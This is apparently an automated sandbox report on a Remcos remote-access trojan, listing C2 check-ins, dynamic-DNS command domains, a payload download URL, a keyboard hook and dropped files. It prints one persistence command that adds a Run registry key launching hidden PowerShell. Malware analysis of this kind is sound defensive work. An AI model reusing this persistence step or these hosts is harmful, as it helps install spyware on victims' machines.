Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49162 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49164 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49166 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49168 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49170 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49172 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49174 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49176 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49178 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49180 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49182 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49184 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49186 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49188 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49190 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49192 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49194 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49196 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49198 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49200 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49201 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49203 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49208 -> 192.169.69.26:29871
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.22:49209 -> 192.169.69.26:29871

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: learfo55ozj01.duckdns.org

Uses dynamic DNS services

Source: unknown	DNS query: name: learfo55ozj02.duckdns.org
Source: unknown	DNS query: name: learfo55ozj01.duckdns.org

Source: Joe Sandbox View	IP Address: 104.21.60.38 104.21.60.38
Source: Joe Sandbox View	IP Address: 172.67.191.112 172.67.191.112
Source: Joe Sandbox View	IP Address: 192.169.69.26 192.169.69.26
Source: Joe Sandbox View	IP Address: 192.169.69.26 192.169.69.26

Source: Joe Sandbox View

ASN Name: WOWUS WOWUS

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET /ELFpBDmh152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: ricohltd.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ELFpBDmh152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: ricohltd.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ELFpBDmh152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: ricohltd.topCache-Control: no-cache

Source: C:\Users\user\Desktop\documento.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\coversed.ini

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /ELFpBDmh152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: ricohltd.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ELFpBDmh152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: ricohltd.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ELFpBDmh152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: ricohltd.topCache-Control: no-cache

Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: ricohltd.top
Source: global traffic	DNS traffic detected: DNS query: learfo55ozj01.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: learfo55ozj02.duckdns.org

Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 0000000F.00000002.747126778.00000000003B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoB
Source: documento.exe, documento.exe, 00000000.00000000.336717009.0000000000409000.00000008.00000001.01000000.00000003.sdmp, documento.exe, 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: documento.exe, 00000000.00000000.336717009.0000000000409000.00000008.00000001.01000000.00000003.sdmp, documento.exe, 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000003.00000002.530743058.0000000002291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.568783013.0000000002931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.749519743.0000000002011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.613484329.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wab.exe, 00000006.00000002.866892514.00000000003D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ricohltd.top/
Source: wab.exe, 00000006.00000002.866892514.0000000000407000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000006.00000002.871477299.0000000020BB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ricohltd.top/ELFpBDmh152.bin
Source: wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49205
Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49205 -> 443

Source: unknown	HTTPS traffic detected: 104.21.60.38:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.112:443 -> 192.168.2.22:49204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.38:443 -> 192.168.2.22:49205 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Windows user hook set: 0 keyboard low level C:\Program Files (x86)\windows mail\wab.exe

Jump to behavior

Source: C:\Users\user\Desktop\documento.exe

Code function: 0_2_00405054 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405054

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\mqerms.dat, type: DROPPED

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: documento.exe

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe

Jump to dropped file

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\documento.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 6_2_03F2293A Sleep,NtProtectVirtualMemory,		6_2_03F2293A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F1E84 NtResumeThread,		15_2_083F1E84

Source: C:\Users\user\Desktop\documento.exe

Code function: 0_2_004030D9 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004030D9

Source: C:\Users\user\Desktop\documento.exe	File created: C:\Windows\resources\0409	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	File created: C:\Windows\resources\0409\Daresay112	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	File created: C:\Windows\resources\0409\Daresay112\Sarcoma	Jump to behavior

Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_00406344	0_2_00406344
Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_00404893	0_2_00404893
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00267D20	3_2_00267D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_002685F0	3_2_002685F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_002679D8	3_2_002679D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00217D20	15_2_00217D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_002185F0	15_2_002185F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_002179D8	15_2_002179D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F173F	15_2_083F173F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F11A4	15_2_083F11A4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F1987	15_2_083F1987
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F2207	15_2_083F2207
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F1000	15_2_083F1000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F207D	15_2_083F207D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_083F176A	15_2_083F176A

Source: documento.exe, 00000000.00000002.388262010.0000000003958000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs documento.exe
Source: documento.exe, 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebystaterne fordes.exeZ vs documento.exe

Source: documento.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@25/23@359/3

Source: C:\Users\user\Desktop\documento.exe

0_2_004030D9

Source: C:\Users\user\Desktop\documento.exe

Code function: 0_2_00404320 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404320

Source: C:\Users\user\Desktop\documento.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\documento.exe

File created: C:\Users\user\Documents\Illoyalitet.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Mutant created: \Sessions\1\BaseNamedObjects\alpwovnb-G3F5OR

Source: C:\Users\user\Desktop\documento.exe

File created: C:\Users\user\AppData\Local\Temp\nsuA860.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................s.t.r.i.n.g.....P..................................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.3.1..................................s....................".......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................(..........................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................<..........................s....................Z.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................H..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................Z..........................s....................Z.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................f..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................x..........................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .l.i.d.a.t.i.o.n.E.x.c.e.p.t.i.o.n............................s....................(.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s....................l.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....P..................................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................=..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................I..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................[..........................s....................~.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P.......................g..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........y..........................s.................... .......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P..................................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .$.H.o.u.s.e.d...I.n.v.o.k.e.(.$.J.a.c.o.u.n.c.e.1.8.0.,. .0.)..s....................B.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P...............................................)..s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..s....................B.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P...............................................~..s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P...............................................~..s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P...............................................~..s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P...............................................~..s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P...............................................~..s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....P...............................................~..s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....P...............................................~..s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Console Write: ................................T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........(.......N.......@...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........S.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........S.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................s.t.r.i.n.g.....`.......h.......D........S.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.3.1........T.........................s............(.......".......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......'T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......9T.........................s....................Z.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......ET.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......WT.........................s....................Z.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......cT.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......uT.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .l.i.d.a.t.i.o.n.E.x.c.e.p.t.i.o.n..T.........................s............(.......(.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....`.......h.......D........T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D........T.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................C.o.p.y.-.I.t.e.m. .:. .C.a.n.n.o.t. .o.v.e.r.w.r.i.t.e. .t.h.e. .i.t.e.m. .....(.......L.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L.......WU...................... .i.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L.......iU...................... .i.t.e.........................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L.......uU...................... .i.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.L........U...................... .i.t.e.........(....... .......................	Jump to behavior
